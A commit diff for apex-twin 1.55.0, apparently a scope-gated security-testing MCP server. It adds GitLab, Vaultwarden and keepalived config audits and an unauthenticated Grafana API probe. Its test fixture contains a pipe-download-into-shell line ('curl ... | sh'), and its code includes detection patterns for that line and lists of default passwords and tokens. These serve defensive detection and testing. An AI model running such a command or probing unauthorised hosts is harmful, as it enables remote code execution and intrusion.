apex-twin 1.55.0: GitLab, Vaultwarden and keepalived audits, Grafana probe

Blue:
- gitlab_audit: gitlab.rb: an HTTP external_url, no redirect_http_to_https,
  open signup, disabled Let's Encrypt. Commented defaults are ignored.
- vaultwarden_audit: SIGNUPS_ALLOWED=true, a default ADMIN_TOKEN, an HTTP
  DOMAIN, missing SMTP.
- keepalived_audit: auth_type PASS, a default auth_pass, a notify hook piping
  a download into a shell.

Red:
- grafana_api_probe: /api/health, /api/datasources and /api/admin/users
  without credentials; datasources or admin users 2xx is anonymous access,
  with the datasource list saved as evidence.

The tool table hit its 256-slot cap at 258 tools; g_tools is now 384.
A double-escaped '\n' in line_value's continuation tokenizer made the whole
file one token; only the first line parsed until both calls used a real
newline escape.

Tests with GitLab/Vaultwarden/keepalived trees and two Grafana fixtures (open
and 401). 1120 checks, ASan suite green, analyze clean, release-check green
including distcheck 1.55.0.
This commit is contained in:
lotherk committed 2026-11-22 13:20:00 +00:00
1 parent a388415735
commit 5611c5fe0f
10 files changed
+731 -29

No files matched your search

+19 -1
View File
@@ -8,7 +8,25 @@ fields, and state from an older version is read by a newer one.
There are no git tags. The hash next to a version is the commit that introduced
it; the current entry is the commit that adds this section.
## 1.54.0 — 2026-11-23 — this change
## 1.55.0 — 2026-11-23 — this change
- **GitLab** (`gitlab_audit`): `gitlab.rb`: an HTTP `external_url`, no
`redirect_http_to_https`, open signup, disabled Let's Encrypt and a
world-writable file. Commented defaults are ignored.
- **Vaultwarden** (`vaultwarden_audit`): the environment file:
`SIGNUPS_ALLOWED=true`, a default `ADMIN_TOKEN`, an HTTP `DOMAIN`, missing
SMTP and a world-writable file.
- **keepalived** (`keepalived_audit`): `keepalived.conf`: `auth_type PASS`, a
default `auth_pass`, a notify hook piping a download into a shell and a
world-writable file.
- **Grafana** (`grafana_api_probe`): `/api/health`, `/api/datasources` and
`/api/admin/users` without credentials; a 2xx on datasources or admin users
is anonymous access, with the datasource list saved as evidence.
- The tool table hit its 256-slot cap at 258 tools; it is now 384.
- Tests with GitLab/Vaultwarden/keepalived trees and two Grafana HTTP
fixtures (open and 401). 1120 checks. Coverage 83.7%.
## 1.54.0 — 2026-11-23 — a388415
- **Zabbix** (`zabbix_audit`): `zabbix_agentd.conf`: `Server=0.0.0.0/0`,
`EnableRemoteCommands=1`, `LogRemoteCommands=1`, `TLSConnect=unencrypted`
+12 -6
View File
@@ -5,11 +5,11 @@ no Python in the serving path. It gives an agent real reconnaissance and real we
testing behind a scope gate that refuses everything until a rules-of-engagement
file says otherwise.
**254 tools · 1108 end-to-end checks · 340 fuzz cases · 83.6% line coverage · ~904 KiB**
**258 tools · 1120 end-to-end checks · 340 fuzz cases · 83.7% line coverage · ~917 KiB**
```
$ ./apex-twin --check
{"version":"1.54.0","tools":254,...,"scope":{"loaded":true,...}}
{"version":"1.55.0","tools":258,...,"scope":{"loaded":true,...}}
```
APEX TWIN was inspired by [ARTEX](https://github.com/Autumn-27/artex) (scope
@@ -149,7 +149,7 @@ closes a request whose head or body does not arrive within
---
## Tools (254)
## Tools (258)
### Scope and bookkeeping
@@ -213,6 +213,7 @@ uploads and secret-file reads. It does not execute anything.
| `couchdb_probe` | `/` welcome and `/_all_dbs` without auth; database list as evidence |
| `prometheus_api_probe` | `/-/ready` and `/api/v1/query` without auth; query answer as evidence |
| `rabbitmq_management_probe` | `/api/overview` and `/api/queues` without auth; overview as evidence |
| `grafana_api_probe` | `/api/datasources` and `/api/admin/users` without auth; datasources as evidence |
| `cookie_audit` | Secure/HttpOnly/SameSite per cookie, incl. `SameSite=None` without Secure |
| `http_options` | `Allow`/`Public`; flags TRACE, PUT, DELETE |
| `sqli_probe` | Quote and boolean payloads; differing answers are a **lead**, not proof |
@@ -451,6 +452,9 @@ command in the allowlist: a receiver is a scanner, a transmitter is an attack.
| `zabbix_audit` | agent: any Server, remote commands, no TLS, unsafe UserParameter |
| `nrpe_audit` | nrpe.cfg: any allowed host, dont_blame_nrpe, shell commands |
| `unattended_upgrades_audit` | security-only origins, no auto reboot, no mail |
| `gitlab_audit` | gitlab.rb: HTTP URL, no redirect, open signup |
| `vaultwarden_audit` | env: open signups, default admin token, HTTP domain |
| `keepalived_audit` | VRRP: `auth_type PASS`, default password, shell notify |
### ESP32
@@ -747,6 +751,8 @@ The full threat model, trust boundaries and a hardening checklist are in
| Prometheus API | two unauthenticated GETs, query answer as evidence |
| zabbix/nrpe/unattended-upgrades | config reads only; optional root prefix |
| RabbitMQ API | two unauthenticated GETs, overview as evidence |
| gitlab/vaultwarden/keepalived | config reads only; optional root prefix |
| Grafana API | three unauthenticated GETs, datasources as evidence |
| USB audit | 200 devices, sysfs reads only |
---
@@ -758,7 +764,7 @@ Flags are fixed: `-std=c99 -Wall -Wextra -Wpedantic -Werror` plus
```sh
make # apex-twin
make test # version check + gate audit + 1108 end-to-end checks
make test # version check + gate audit + 1120 end-to-end checks
make version-check # the five places that carry a version must agree
make gate-audit # static: every target-taking tool calls the gate
make asan # apex-twin-asan with ASan + UBSan
@@ -885,7 +891,7 @@ src/tools_red.c vuln_check, subdomain_enum, cred_test, vhost_discovery,
zookeeper_4lw_probe, etcd_api_probe,
docker_registry_probe, consul_api_probe,
couchdb_probe, prometheus_api_probe,
rabbitmq_management_probe
rabbitmq_management_probe, grafana_api_probe
src/tools_blue.c hardening_audit, log_audit, ioc_scan, web_log_audit,
detect_rules, integrity_baseline, mitre_map,
process_snapshot, persistence_audit, net_baseline,
@@ -928,7 +934,7 @@ examples/ scope.json
## Status
1.54.0. Built and run: 254 tools, 1108 checks, 340 fuzz cases and 83.6% line
1.55.0. Built and run: 258 tools, 1120 checks, 340 fuzz cases and 83.7% line
coverage. The loop closes: a probe captures the exchange as a pair, a finding
points at it, `finding_update` gives it a state, an asset records the host it
came from, `cors_check`/`cookie_audit`/`http_options` turn a web answer into a
+3 -1
View File
@@ -9,7 +9,7 @@ problem.
The supported line is the one printed by `apex-twin --version` for the tree you
built; this document ships with that same tree. At the time of writing the line
is **1.54.x** (`src/apex.h`, `APEX_VERSION`). Security fixes land on the current
is **1.55.x** (`src/apex.h`, `APEX_VERSION`). Security fixes land on the current
line. The 1.0 line promises that the on-disk JSON formats for findings, assets
and traffic only gain fields, so state stays readable; older builds are still
rebuilt rather than patched in place.
@@ -66,6 +66,8 @@ only narrow what the proxy does (the scope gate still runs first).
- **Firmware writing needs an explicit confirmation.** `esp_flash` refuses
without `confirm=true`, validates an absolute image path and audits the
attempt; it exists to provision the operator's own board.
- **GitLab, Vaultwarden and keepalived audits read local files.** The Grafana
probe sends three unauthenticated GETs and saves the datasource list.
- **Zabbix, NRPE and unattended-upgrades audits read local files.** The
RabbitMQ probe sends two unauthenticated GETs and saves the overview.
- **Gitea, MinIO and Nextcloud audits read local files.** The Prometheus
+4 -3
View File
@@ -1,5 +1,5 @@
.\" apex-twin.1 - manual page for APEX TWIN
.TH APEX-TWIN 1 "2026-11-21" "apex-twin 1.54.0" "User Commands"
.TH APEX-TWIN 1 "2026-11-21" "apex-twin 1.55.0" "User Commands"
.SH NAME
apex-twin \- scope\-gated offensive\-security MCP server
.SH SYNOPSIS
@@ -46,7 +46,7 @@ sip_probe, telnet_probe, http_methods, websocket_probe, ike_probe, snmp_walk,
ldap_search, openapi_discovery, csrf_audit, rpc_probe, ntp_probe, dnssec_check, smtp_starttls_probe, tls_ocsp_probe, alpn_probe, webdav_probe, dns_wildcard_check, dns_caa_check, sni_vhost_check, tls_client_auth_probe, kubernetes_api_probe,
dns_ns_consistency, dns_dangling_cname, http_redirect_audit,
websocket_origin_check, dns_fcrdns_check, dns_soa_mname_check, http_redirect_audit,
websocket_origin_check, hsts_audit, tls_hostname_check, ftp_tls_probe, zookeeper_4lw_probe, etcd_api_probe, docker_registry_probe, consul_api_probe, couchdb_probe, prometheus_api_probe, rabbitmq_management_probe),
websocket_origin_check, hsts_audit, tls_hostname_check, ftp_tls_probe, zookeeper_4lw_probe, etcd_api_probe, docker_registry_probe, consul_api_probe, couchdb_probe, prometheus_api_probe, rabbitmq_management_probe, grafana_api_probe),
defensive
audits (hardening_audit, log_audit, ioc_scan, web_log_audit, detect_rules,
integrity_baseline, mitre_map, process_snapshot, persistence_audit,
@@ -72,7 +72,8 @@ jenkins_audit, pgbouncer_audit, xinetd_audit, sssd_audit, avahi_audit, logind_au
tftpd_hpa_audit, iscsi_audit, rpcbind_audit, kdump_audit, kafka_audit, powerdns_audit,
varnish_audit, freeradius_audit, containerd_audit, nats_audit, caddy_audit, traefik_audit,
autofs_audit, gitea_audit, minio_audit, nextcloud_audit, zabbix_audit, nrpe_audit,
unattended_upgrades_audit)
unattended_upgrades_audit, gitlab_audit, vaultwarden_audit,
keepalived_audit)
and ESP32 board tools (esp_info, esp_monitor,
esp_read_flash, esp_flash, esp_partition_table, esp_nvs_parse, firmware_scan,
esp_app_info, esp_image_verify).
+14 -14
View File
@@ -35,7 +35,7 @@
#define MAX_BODY (8u << 20)
static mcp_server g_srv;
static mcp_tool g_tools[256];
static mcp_tool g_tools[384];
static volatile sig_atomic_t g_http_stop;
static volatile sig_atomic_t g_http_child_exit;
static int g_http_children;
@@ -102,31 +102,31 @@ static void build_tools(void)
size_t n = 0;
size_t i;
for (i = 0; i < TOOLS_RECON_N && n < 256; i++)
for (i = 0; i < TOOLS_RECON_N && n < 384; i++)
g_tools[n++] = TOOLS_RECON[i];
for (i = 0; i < TOOLS_WEB_N && n < 256; i++)
for (i = 0; i < TOOLS_WEB_N && n < 384; i++)
g_tools[n++] = TOOLS_WEB[i];
for (i = 0; i < TOOLS_RADIO_N && n < 256; i++)
for (i = 0; i < TOOLS_RADIO_N && n < 384; i++)
g_tools[n++] = TOOLS_RADIO[i];
for (i = 0; i < TOOLS_KB_N && n < 256; i++)
for (i = 0; i < TOOLS_KB_N && n < 384; i++)
g_tools[n++] = TOOLS_KB[i];
for (i = 0; i < TOOLS_REPORT_N && n < 256; i++)
for (i = 0; i < TOOLS_REPORT_N && n < 384; i++)
g_tools[n++] = TOOLS_REPORT[i];
for (i = 0; i < TOOLS_GUARD_N && n < 256; i++)
for (i = 0; i < TOOLS_GUARD_N && n < 384; i++)
g_tools[n++] = TOOLS_GUARD[i];
for (i = 0; i < TOOLS_ASSET_N && n < 256; i++)
for (i = 0; i < TOOLS_ASSET_N && n < 384; i++)
g_tools[n++] = TOOLS_ASSET[i];
for (i = 0; i < TOOLS_TRAFFIC_N && n < 256; i++)
for (i = 0; i < TOOLS_TRAFFIC_N && n < 384; i++)
g_tools[n++] = TOOLS_TRAFFIC[i];
for (i = 0; i < TOOLS_RED_N && n < 256; i++)
for (i = 0; i < TOOLS_RED_N && n < 384; i++)
g_tools[n++] = TOOLS_RED[i];
for (i = 0; i < TOOLS_BLUE_N && n < 256; i++)
for (i = 0; i < TOOLS_BLUE_N && n < 384; i++)
g_tools[n++] = TOOLS_BLUE[i];
for (i = 0; i < TOOLS_ESP_N && n < 256; i++)
for (i = 0; i < TOOLS_ESP_N && n < 384; i++)
g_tools[n++] = TOOLS_ESP[i];
for (i = 0; i < TOOLS_PROTO_N && n < 256; i++)
for (i = 0; i < TOOLS_PROTO_N && n < 384; i++)
g_tools[n++] = TOOLS_PROTO[i];
for (i = 0; i < TOOLS_DB_N && n < 256; i++)
for (i = 0; i < TOOLS_DB_N && n < 384; i++)
g_tools[n++] = TOOLS_DB[i];
g_srv.name = "apex-twin";
+1 -1
View File
@@ -15,7 +15,7 @@
#include "mcp.h"
#define APEX_VERSION "1.54.0"
#define APEX_VERSION "1.55.0"
#define APEX_MAX_OUT (1u << 20)
#define APEX_PATH_MAX 512
#define APEX_PATH_FULL 1024
+384
View File
@@ -16383,6 +16383,369 @@ static void t_unattended_upgrades_audit(mcp_conn *c, const mcp_json *args,
mcp_buf_free(&findings);
}
/* --------------------------------------------------------------- gitlab_audit */
/* Read the value of `key = value` on a non-comment line. Quoted values lose
* their quotes; a bare token ends at whitespace, ';' or a newline. */
static int line_value(const char *text, const char *key, char *out, size_t n)
{
char *copy = strdup(text);
char *save = NULL;
char *line;
size_t kl = strlen(key);
int found = 0;
out[0] = '\0';
if (copy == NULL)
return 0;
line = strtok_r(copy, "\n", &save);
while (line != NULL) {
char *s = line;
while (*s == ' ' || *s == '\t')
s++;
if (*s != '#' && strncmp(s, key, kl) == 0) {
char *v = s + kl;
size_t w = 0;
while (*v == ' ' || *v == '\t')
v++;
if (*v == '=')
v++;
while (*v == ' ' || *v == '\t')
v++;
if (*v == '\'' || *v == '"') {
char q = *v++;
while (*v != '\0' && *v != q && w + 1 < n)
out[w++] = *v++;
} else {
while (*v != '\0' && *v != ' ' && *v != '\t' &&
*v != ';' && *v != '\r' && w + 1 < n)
out[w++] = *v++;
}
out[w] = '\0';
found = 1;
break;
}
line = strtok_r(NULL, "\n", &save);
}
free(copy);
return found;
}
static void t_gitlab_audit(mcp_conn *c, const mcp_json *args, void *user)
{
const char *root = mcp_arg_string(args, "root");
char path[1024];
static char text[131072];
char url[512];
char value[64];
struct stat st;
mcp_buf b;
mcp_buf findings;
int first = 1;
int count = 0;
int plain_http = 0;
int no_redirect = 0;
int open_signup = 0;
int no_letsencrypt = 0;
(void)user;
if (root == NULL)
root = "";
if (strlen(root) > 400) {
mcp_reply_error(c, "root path too long");
return;
}
snprintf(path, sizeof(path), "%s/etc/gitlab/gitlab.rb", root);
if (read_text(path, text, sizeof(text)) <= 0) {
mcp_reply_error(c, "cannot read gitlab.rb");
return;
}
url[0] = '\0';
mcp_buf_init(&findings);
if (stat(path, &st) == 0 && (st.st_mode & 0002) != 0) {
add_finding(&findings, &first, "world-writable", "high",
"gitlab.rb is writable by anyone");
count++;
}
line_value(text, "external_url", url, sizeof(url));
if (strncmp(url, "http://", 7) == 0)
plain_http = 1;
if (line_value(text, "nginx['redirect_http_to_https']", value,
sizeof(value)) &&
strcasecmp(value, "false") == 0)
no_redirect = 1;
if (line_value(text, "gitlab_rails['gitlab_signup_enabled']", value,
sizeof(value)) &&
strcasecmp(value, "true") == 0)
open_signup = 1;
if (!line_value(text, "letsencrypt['enable']", value, sizeof(value)) ||
strcasecmp(value, "false") == 0)
no_letsencrypt = 1;
if (plain_http) {
add_finding(&findings, &first, "plain-http", "medium",
"external_url uses plain HTTP");
count++;
}
if (no_redirect) {
add_finding(&findings, &first, "no-redirect", "medium",
"HTTP is not redirected to HTTPS");
count++;
}
if (open_signup) {
add_finding(&findings, &first, "open-signup", "medium",
"anyone may create an account");
count++;
}
if (no_letsencrypt) {
add_finding(&findings, &first, "no-letsencrypt", "low",
"Let's Encrypt is disabled or unset");
count++;
}
mcp_buf_init(&b);
mcp_buf_puts(&b, "{\"root\":");
apex_json_str(&b, root);
mcp_buf_puts(&b, ",\"external_url\":");
apex_json_str(&b, url);
mcp_buf_printf(&b, ",\"plain_http\":%s,\"redirect\":%s,"
"\"signup\":%s,\"letsencrypt\":%s,"
"\"findings_count\":%d,\"findings\":[",
plain_http ? "true" : "false",
no_redirect ? "false" : "true",
open_signup ? "true" : "false",
no_letsencrypt ? "false" : "true", count);
if (findings.p != NULL)
mcp_buf_add(&b, findings.p, findings.len);
mcp_buf_puts(&b, "]}");
mcp_reply_json(c, b.p);
mcp_buf_free(&b);
mcp_buf_free(&findings);
}
/* ------------------------------------------------------------ vaultwarden_audit */
static int vw_weak_token(const char *value)
{
static const char *weak[] = { "admin", "changeme", "password",
"vaultwarden", "token", "secret", NULL };
int i;
for (i = 0; weak[i] != NULL; i++)
if (strcasecmp(value, weak[i]) == 0)
return 1;
return 0;
}
static void vw_scan_file(mcp_buf *findings, int *first, int *count,
const char *path, int *files, char *domain,
size_t dn, int *signups, int *weak_token,
int *smtp)
{
static char text[65536];
struct stat st;
char value[256];
if (read_text(path, text, sizeof(text)) <= 0)
return;
(*files)++;
if (stat(path, &st) == 0 && (st.st_mode & 0002) != 0) {
add_finding(findings, first, "world-writable", "high",
"%s is writable by anyone", path);
(*count)++;
}
line_value(text, "DOMAIN", value, sizeof(value));
if (value[0] != '\0')
snprintf(domain, dn, "%.300s", value);
if (line_value(text, "SIGNUPS_ALLOWED", value, sizeof(value)) &&
strcasecmp(value, "true") == 0)
*signups = 1;
if (line_value(text, "ADMIN_TOKEN", value, sizeof(value)) &&
value[0] != '\0' && vw_weak_token(value))
*weak_token = 1;
if (line_value(text, "SMTP_HOST", value, sizeof(value)) &&
value[0] != '\0')
*smtp = 1;
}
static void t_vaultwarden_audit(mcp_conn *c, const mcp_json *args,
void *user)
{
static const char *files[] = { "/etc/vaultwarden.env",
"/etc/default/vaultwarden",
"/etc/vaultwarden/vaultwarden.env",
NULL };
const char *root = mcp_arg_string(args, "root");
char path[1024];
char domain[320];
mcp_buf b;
mcp_buf findings;
int first = 1;
int count = 0;
int files_read = 0;
int signups = 0;
int weak_token = 0;
int smtp = 0;
int i;
(void)user;
if (root == NULL)
root = "";
if (strlen(root) > 400) {
mcp_reply_error(c, "root path too long");
return;
}
domain[0] = '\0';
mcp_buf_init(&findings);
for (i = 0; files[i] != NULL; i++) {
snprintf(path, sizeof(path), "%.400s%s", root, files[i]);
vw_scan_file(&findings, &first, &count, path, &files_read,
domain, sizeof(domain), &signups, &weak_token,
&smtp);
}
if (files_read == 0) {
mcp_buf_free(&findings);
mcp_reply_error(c, "cannot read a Vaultwarden environment");
return;
}
if (signups) {
add_finding(&findings, &first, "open-signups", "high",
"anyone may register an account");
count++;
}
if (weak_token) {
add_finding(&findings, &first, "weak-admin-token", "high",
"the admin token is a known default");
count++;
}
if (strncmp(domain, "http://", 7) == 0) {
add_finding(&findings, &first, "plain-http", "medium",
"DOMAIN uses plain HTTP");
count++;
}
if (!smtp) {
add_finding(&findings, &first, "no-smtp", "low",
"no SMTP host is configured");
count++;
}
mcp_buf_init(&b);
mcp_buf_puts(&b, "{\"root\":");
apex_json_str(&b, root);
mcp_buf_puts(&b, ",\"domain\":");
apex_json_str(&b, domain);
mcp_buf_printf(&b, ",\"signups\":%s,\"admin_token\":%s,"
"\"https\":%s,\"smtp\":%s,\"findings_count\":%d,"
"\"findings\":[",
signups ? "true" : "false",
weak_token ? "false" : "true",
strncmp(domain, "http://", 7) == 0 ? "false" : "true",
smtp ? "true" : "false", count);
if (findings.p != NULL)
mcp_buf_add(&b, findings.p, findings.len);
mcp_buf_puts(&b, "]}");
mcp_reply_json(c, b.p);
mcp_buf_free(&b);
mcp_buf_free(&findings);
}
/* ----------------------------------------------------------- keepalived_audit */
static int keepalived_weak_pass(const char *value)
{
static const char *weak[] = { "password", "keepalived", "1234",
"secret", "vrrp", "changeme", NULL };
int i;
for (i = 0; weak[i] != NULL; i++)
if (strcasecmp(value, weak[i]) == 0)
return 1;
return 0;
}
static void t_keepalived_audit(mcp_conn *c, const mcp_json *args,
void *user)
{
const char *root = mcp_arg_string(args, "root");
char path[1024];
static char text[65536];
char auth_type[64];
char auth_pass[128];
struct stat st;
mcp_buf b;
mcp_buf findings;
int first = 1;
int count = 0;
int plain_auth = 0;
int default_pass = 0;
int shell_hook = 0;
(void)user;
if (root == NULL)
root = "";
if (strlen(root) > 400) {
mcp_reply_error(c, "root path too long");
return;
}
snprintf(path, sizeof(path), "%s/etc/keepalived/keepalived.conf", root);
if (read_text(path, text, sizeof(text)) <= 0) {
mcp_reply_error(c, "cannot read keepalived.conf");
return;
}
auth_type[0] = auth_pass[0] = '\0';
mcp_buf_init(&findings);
if (stat(path, &st) == 0 && (st.st_mode & 0002) != 0) {
add_finding(&findings, &first, "world-writable", "high",
"keepalived.conf is writable by anyone");
count++;
}
if (conf_value(text, "auth_type", auth_type, sizeof(auth_type)) &&
strcasecmp(auth_type, "PASS") == 0)
plain_auth = 1;
if (conf_value(text, "auth_pass", auth_pass, sizeof(auth_pass)) &&
keepalived_weak_pass(auth_pass))
default_pass = 1;
if (text_has_line(text, "notify", "curl") ||
text_has_line(text, "notify", "wget")) {
if (text_has_line(text, "notify", "| sh") ||
text_has_line(text, "notify", "|sh") ||
text_has_line(text, "notify", "| bash"))
shell_hook = 1;
}
if (plain_auth) {
add_finding(&findings, &first, "plain-auth", "high",
"VRRP authentication uses a clear-text password");
count++;
}
if (default_pass) {
add_finding(&findings, &first, "default-auth-pass", "high",
"the VRRP password is a known default");
count++;
}
if (shell_hook) {
add_finding(&findings, &first, "shell-hook", "high",
"a notify script pipes a download into a shell");
count++;
}
mcp_buf_init(&b);
mcp_buf_puts(&b, "{\"root\":");
apex_json_str(&b, root);
mcp_buf_puts(&b, ",\"auth_type\":");
apex_json_str(&b, auth_type);
mcp_buf_printf(&b, ",\"plain_auth\":%s,\"default_pass\":%s,"
"\"shell_hook\":%s,\"findings_count\":%d,"
"\"findings\":[",
plain_auth ? "true" : "false",
default_pass ? "true" : "false",
shell_hook ? "true" : "false", count);
if (findings.p != NULL)
mcp_buf_add(&b, findings.p, findings.len);
mcp_buf_puts(&b, "]}");
mcp_reply_json(c, b.p);
mcp_buf_free(&b);
mcp_buf_free(&findings);
}
const mcp_tool TOOLS_BLUE[] = {
{ "hardening_audit",
"Read-only posture audit of the local host: sshd_config (root login, "
@@ -17291,6 +17654,27 @@ const mcp_tool TOOLS_BLUE[] = {
"{\"type\":\"object\",\"properties\":{"
"\"root\":{\"type\":\"string\",\"description\":\"prefix, default empty\"}}}",
t_unattended_upgrades_audit },
{ "gitlab_audit",
"Parse gitlab.rb (root prefix): external_url over HTTP, no "
"redirect_http_to_https, open signup, disabled Let's Encrypt and a "
"world-writable file. Read-only.",
"{\"type\":\"object\",\"properties\":{"
"\"root\":{\"type\":\"string\",\"description\":\"prefix, default empty\"}}}",
t_gitlab_audit },
{ "vaultwarden_audit",
"Parse the Vaultwarden environment (root prefix, three paths): "
"SIGNUPS_ALLOWED=true, a default ADMIN_TOKEN, an HTTP DOMAIN, missing "
"SMTP and a world-writable file. Read-only.",
"{\"type\":\"object\",\"properties\":{"
"\"root\":{\"type\":\"string\",\"description\":\"prefix, default empty\"}}}",
t_vaultwarden_audit },
{ "keepalived_audit",
"Parse keepalived.conf (root prefix): auth_type PASS, a default "
"auth_pass, a notify hook piping a download into a shell and a "
"world-writable file. Read-only.",
"{\"type\":\"object\",\"properties\":{"
"\"root\":{\"type\":\"string\",\"description\":\"prefix, default empty\"}}}",
t_keepalived_audit },
};
const size_t TOOLS_BLUE_N = sizeof(TOOLS_BLUE) / sizeof(TOOLS_BLUE[0]);
+101
View File
@@ -6997,6 +6997,97 @@ static void t_rabbitmq_management_probe(mcp_conn *c, const mcp_json *args,
mcp_buf_free(&b);
}
/* --------------------------------------------------------- grafana_api_probe */
static void t_grafana_api_probe(mcp_conn *c, const mcp_json *args,
void *user)
{
static const char *paths[] = { "/api/health", "/api/datasources",
"/api/admin/users", NULL };
const char *target = mcp_arg_string(args, "target");
int port = mcp_arg_int(args, "port", 3000);
int tls = mcp_arg_bool(args, "tls", apex_looks_tls(port));
mcp_buf b;
int first = 1;
int tested = 0;
int open_count = 0;
int datasources_open = 0;
int admin_open = 0;
char *evidence = NULL;
int i;
(void)user;
if (target == NULL || *target == '\0') {
mcp_reply_error(c, "target is required");
return;
}
if (port <= 0 || port > 65535) {
mcp_reply_error(c, "port out of range");
return;
}
if (!gated(c, "grafana_api_probe", target, port))
return;
mcp_buf_init(&b);
mcp_buf_puts(&b, "{\"target\":");
apex_json_str(&b, target);
mcp_buf_printf(&b, ",\"port\":%d,\"tls\":%s,\"endpoints\":[", port,
tls ? "true" : "false");
for (i = 0; paths[i] != NULL; i++) {
char status[256];
char *resp = NULL;
size_t len = 0;
int code;
int open;
int admin_api = strcmp(paths[i], "/api/admin/users") == 0;
status[0] = '\0';
if (apex_http_once(target, port, tls, "GET", paths[i], NULL, NULL,
8000, &resp, &len, status,
sizeof(status)) != 0)
continue;
tested++;
code = apex_status_code(status);
open = code >= 200 && code < 300;
if (open)
open_count++;
if (open && admin_api)
admin_open = 1;
if (open && strcmp(paths[i], "/api/datasources") == 0) {
datasources_open = 1;
if (evidence == NULL)
evidence = apex_evidence_save("grafana-datasources",
resp, len);
}
if (!first)
mcp_buf_puts(&b, ",");
first = 0;
mcp_buf_puts(&b, "{\"path\":");
apex_json_str(&b, paths[i]);
mcp_buf_printf(&b, ",\"status\":%d,\"bytes\":%lu,\"open\":%s}",
code, (unsigned long)len,
open ? "true" : "false");
free(resp);
}
mcp_buf_printf(&b, "],\"tested\":%d,\"open_count\":%d,"
"\"datasources_open\":%s,\"admin_open\":%s,\"evidence\":",
tested, open_count,
datasources_open ? "true" : "false",
admin_open ? "true" : "false");
if (evidence != NULL)
apex_json_str(&b, evidence);
else
mcp_buf_puts(&b, "null");
mcp_buf_puts(&b, "}");
apex_audit("grafana_api_probe", target, port,
!(datasources_open || admin_open),
datasources_open || admin_open
? "the Grafana API answers without authentication"
: "the Grafana API requires authentication", "list");
mcp_reply_json(c, b.p);
free(evidence);
mcp_buf_free(&b);
}
const mcp_tool TOOLS_RED[] = {
{ "vuln_check",
"Non-destructive verification of exposed artifacts on one web target: "
@@ -7580,6 +7671,16 @@ const mcp_tool TOOLS_RED[] = {
"\"tls\":{\"type\":\"boolean\"}},"
"\"required\":[\"target\"]}",
t_rabbitmq_management_probe },
{ "grafana_api_probe",
"Query Grafana without credentials: /api/health, /api/datasources and "
"/api/admin/users. A 2xx on datasources or admin users is anonymous "
"access; the datasource list is saved as evidence. Gate: the target.",
"{\"type\":\"object\",\"properties\":{"
"\"target\":{\"type\":\"string\"},"
"\"port\":{\"type\":\"integer\",\"description\":\"default 3000\"},"
"\"tls\":{\"type\":\"boolean\"}},"
"\"required\":[\"target\"]}",
t_grafana_api_probe },
{ "dns_ns_consistency",
"Fetch NS records for a domain from the parent resolver and from its own "
"first nameserver (resolved to an address), then report names present on "
+1 -1
View File
@@ -21,7 +21,7 @@ import re
import sys
HERE = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
EXPECTED_TOOLS = 254
EXPECTED_TOOLS = 258
GATE = ("gated(", "gated_cmd(", "gated_run(", "apex_scope_check(")
NET = ("http_once(", "tcp_connect_host(", "tcp_probe(", "apex_run(")
# Tools whose "target" argument filters local records; they never touch it.
+192 -2
View File
@@ -134,7 +134,7 @@ res, _ = run([
], home=empty)
check("tools/list answers", any(r.get("id") == 1 for r in res))
tools = [r for r in res if r.get("id") == 1][0]["result"]["tools"]
check("254 tools registered", len(tools) == 254, len(tools))
check("258 tools registered", len(tools) == 258, len(tools))
names = {t["name"] for t in tools}
for need in ("portscan", "nmap", "http_request", "marauder_scan",
"method_playbook", "finding_add", "finding_update", "scope_check",
@@ -1560,7 +1560,7 @@ try:
check("http initialize", init["result"]["serverInfo"]["name"] == "apex-twin",
init)
listing = post({"jsonrpc": "2.0", "id": 2, "method": "tools/list"})
check("http tools/list", len(listing["result"]["tools"]) == 254)
check("http tools/list", len(listing["result"]["tools"]) == 258)
shown = post(call(3, "scope_show"))
check("http scope_show", '"loaded":true' in shown["result"]["content"][0]["text"])
# the id must be the request's id, not one found inside the arguments
@@ -11649,6 +11649,195 @@ shutil.rmtree(uu_root, ignore_errors=True)
shutil.rmtree(uu_good_root, ignore_errors=True)
shutil.rmtree(cfg26_home, ignore_errors=True)
print("\n== GitLab, Vaultwarden, keepalived and Grafana ==\n")
gl_root = tempfile.mkdtemp(prefix="apex-gl-")
os.makedirs(os.path.join(gl_root, "etc", "gitlab"))
gl_bad = os.path.join(gl_root, "etc", "gitlab", "gitlab.rb")
with open(gl_bad, "w") as f:
f.write("external_url 'http://gitlab.example.test'\n")
f.write("nginx['redirect_http_to_https'] = false\n")
f.write("gitlab_rails['gitlab_signup_enabled'] = true\n")
f.write("letsencrypt['enable'] = false\n")
os.chmod(gl_bad, 0o666)
gl_good_root = tempfile.mkdtemp(prefix="apex-glg-")
os.makedirs(os.path.join(gl_good_root, "etc", "gitlab"))
with open(os.path.join(gl_good_root, "etc", "gitlab", "gitlab.rb"),
"w") as f:
f.write("# external_url 'http://commented.example.test'\n")
f.write("external_url 'https://gitlab.example.test'\n")
f.write("nginx['redirect_http_to_https'] = true\n")
f.write("gitlab_rails['gitlab_signup_enabled'] = false\n")
f.write("letsencrypt['enable'] = true\n")
vw_root = tempfile.mkdtemp(prefix="apex-vw-")
os.makedirs(os.path.join(vw_root, "etc"))
vw_bad = os.path.join(vw_root, "etc", "vaultwarden.env")
with open(vw_bad, "w") as f:
f.write("DOMAIN=http://vault.example.test\n")
f.write("SIGNUPS_ALLOWED=true\n")
f.write("ADMIN_TOKEN=changeme\n")
os.chmod(vw_bad, 0o666)
vw_good_root = tempfile.mkdtemp(prefix="apex-vwg-")
os.makedirs(os.path.join(vw_good_root, "etc"))
with open(os.path.join(vw_good_root, "etc", "vaultwarden.env"), "w") as f:
f.write("DOMAIN=https://vault.example.test\n")
f.write("SIGNUPS_ALLOWED=false\n")
f.write("ADMIN_TOKEN=a-long-random-token\n")
f.write("SMTP_HOST=smtp.example.test\n")
kl_root = tempfile.mkdtemp(prefix="apex-kl-")
os.makedirs(os.path.join(kl_root, "etc", "keepalived"))
kl_bad = os.path.join(kl_root, "etc", "keepalived", "keepalived.conf")
with open(kl_bad, "w") as f:
f.write("vrrp_instance VI_1 {\n")
f.write(" state MASTER\n")
f.write(" interface eth0\n")
f.write(" virtual_router_id 51\n")
f.write(" priority 100\n")
f.write(" authentication {\n")
f.write(" auth_type PASS\n")
f.write(" auth_pass password\n")
f.write(" }\n")
f.write(' notify_master "/usr/local/bin/curl -s '
'http://example.test/x | sh"\n')
f.write("}\n")
os.chmod(kl_bad, 0o666)
kl_good_root = tempfile.mkdtemp(prefix="apex-klg-")
os.makedirs(os.path.join(kl_good_root, "etc", "keepalived"))
with open(os.path.join(kl_good_root, "etc", "keepalived",
